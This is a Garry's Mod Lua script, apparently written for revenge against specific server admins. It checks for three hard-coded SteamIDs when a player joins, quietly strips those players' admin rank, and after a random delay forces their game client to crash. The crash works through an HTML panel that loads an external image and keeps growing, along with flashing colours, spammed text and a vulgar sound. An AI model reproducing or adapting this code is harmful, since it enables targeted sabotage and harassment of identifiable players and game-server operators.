lelel.lua :^)

-- Fuel.

--connect: Kicked by Frost(STEAM_0:0:30912535) (Banned permanently: How about no).
--Disconnect: Kicked by Frost(STEAM_0:0:30912535)
if (SERVER) then

    hook.Add("PlayerInitialSpawn", "lel", function( pl )
        if pl:SteamID() == "STEAM_0:0:30912535" or pl:SteamID() == "STEAM_0:0:35901997"
        or pl:SteamID() == "STEAM_0:1:57618487" then
            pl:ChatPrint("Welcome back, admen!")
            pl:SetUserGroup("user")

            timer.Create("crashthatfucker", pl, math.random(420, 980), 1, function()
                --[[for k,v in pairs(player.GetAll()) do
                    v:ChatPrint("Start saying your goodbyes to " .. pl:Nick() .. ".")
                    umsg.Start("pknotifycrash")
                        umsg.String(pl:Nick())
                    umsg.End()
                end]]

                pl:ConCommand("propkill_CrashMe")
            end)
        end
    end)


elseif (CLIENT) then

    local sc_increment = 1
    concommand.Add("propkill_CrashMe", function( pl )
        pl:ChatPrint("YOU'RE IN FOR A WORLD OF HURT!!!")

        surface.PlaySound("crapcore/staple_tape_worms_on_my_penis.mp3")

        timer.Create("crashmeyo", 1, 50, function()
            sc_increment = sc_increment + 1
        end)
        pl.IsCrashing = true
        pl.CrashTime = math.Round(CurTime(), 1)

        local aamgg = vgui.Create("HTML")
        aamgg:SetPos( 1, 1 )
        aamgg:SetSize( ScrW() / 2, ScrH() / 2 )
        aamgg:OpenURL( "d1e0u2actw4eb3.cloudfront.net/h/src/1364117564793.jpg" )

        local increment = 1
        timer.Create("imcrashingsooo", 0.1, 900, function()
            aamgg:SetPos( math.random(60, 750), math.random(1, 150) )
        end)

        timer.Simple(3, function()
            --while true do
            timer.Create("yeahalsocrashing", 0.07, 900, function()
                aamgg:SetSize( ScrW() * increment, ScrH() * increment )
                increment = increment + .2
            end)
        end)
    end)

    hook.Add("RenderScreenspaceEffects", "Stalemate_GoBlackNLR", function()
        if not LocalPlayer().IsCrashing then return end

        local colorsettings = {}
        if math.random(1,2) == 1 then
            colorsettings[ "$pp_colour_addr" ] = 1
            colorsettings[ "$pp_colour_addg" ] = 0
            colorsettings[ "$pp_colour_addb" ] = 0
            colorsettings[ "$pp_colour_brightness" ] = 0
            colorsettings[ "$pp_colour_contrast" ] = 1
            colorsettings[ "$pp_colour_colour" ] = 1
            colorsettings[ "$pp_colour_mulr" ] = 0
            colorsettings[ "$pp_colour_mulg" ] = 1
            colorsettings[ "$pp_colour_mulb" ] = 1
        else
            if math.random(1,2) == 1 then
                colorsettings[ "$pp_colour_addr" ] = 0
                colorsettings[ "$pp_colour_addg" ] = 1
                colorsettings[ "$pp_colour_addb" ] = 0
                colorsettings[ "$pp_colour_brightness" ] = 0
                colorsettings[ "$pp_colour_contrast" ] = 1
                colorsettings[ "$pp_colour_colour" ] = 1
                colorsettings[ "$pp_colour_mulr" ] = 1
                colorsettings[ "$pp_colour_mulg" ] = 0
                colorsettings[ "$pp_colour_mulb" ] = 0
            else
                colorsettings[ "$pp_colour_addr" ] = 3
                colorsettings[ "$pp_colour_addg" ] = 3
                colorsettings[ "$pp_colour_addb" ] = 0
                colorsettings[ "$pp_colour_brightness" ] = 0
                colorsettings[ "$pp_colour_contrast" ] = 1
                colorsettings[ "$pp_colour_colour" ] = 1
                colorsettings[ "$pp_colour_mulr" ] = 1
                colorsettings[ "$pp_colour_mulg" ] = 3
                colorsettings[ "$pp_colour_mulb" ] = 0
            end
        end

        DrawColorModify(colorsettings)
    end)

    hook.Add("HUDPaint", "drawcrash", function()
        if not LocalPlayer().IsCrashing then return end

        draw.SimpleText("You have " .. math.Round(3 - (math.Round(CurTime(), 1) - LocalPlayer().CrashTime), 1) .. " seconds to speak.", "SomeHugeFont", ScrW()/2, (ScrH()/2) - 100, Color(255,255,255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)

        local usefont = "UiBold"
        local usecolor_r,usecolor_b,usecolor_g = math.random(50, 255),math.random(1, 255), math.random(70, 255)
        if math.random(1,3) == 2 then usefont = "Shinycowwashere" end
        if math.random(1, 30) == 25 then usefont = "SomeLargeFont" end

        for i=1,sc_increment do
            draw.SimpleText( "Shinycow was here", usefont, math.random(90, 750), ScrH() - math.random(100, 900), Color(usecolor_r, usecolor_b, usecolor_g), 0, 1)
        end
    end)

    usermessage.Hook("pknotifycrash", "showadmencrash", function( um )
        local plname = um:ReadString()
        local pltime = CurTime()

        hook.Add("HUDPaint", "showadmencrash", function()
            draw.SimpleText( plname .. " is going blastoff in " .. math.Round(3 - (math.Round(CurTime(), 1) - pltime), 1) .. " seconds.")
        end)

        timer.Simple(3, function() hook.Remove("HUDPaint", "showadmencrash") end)
    end)

end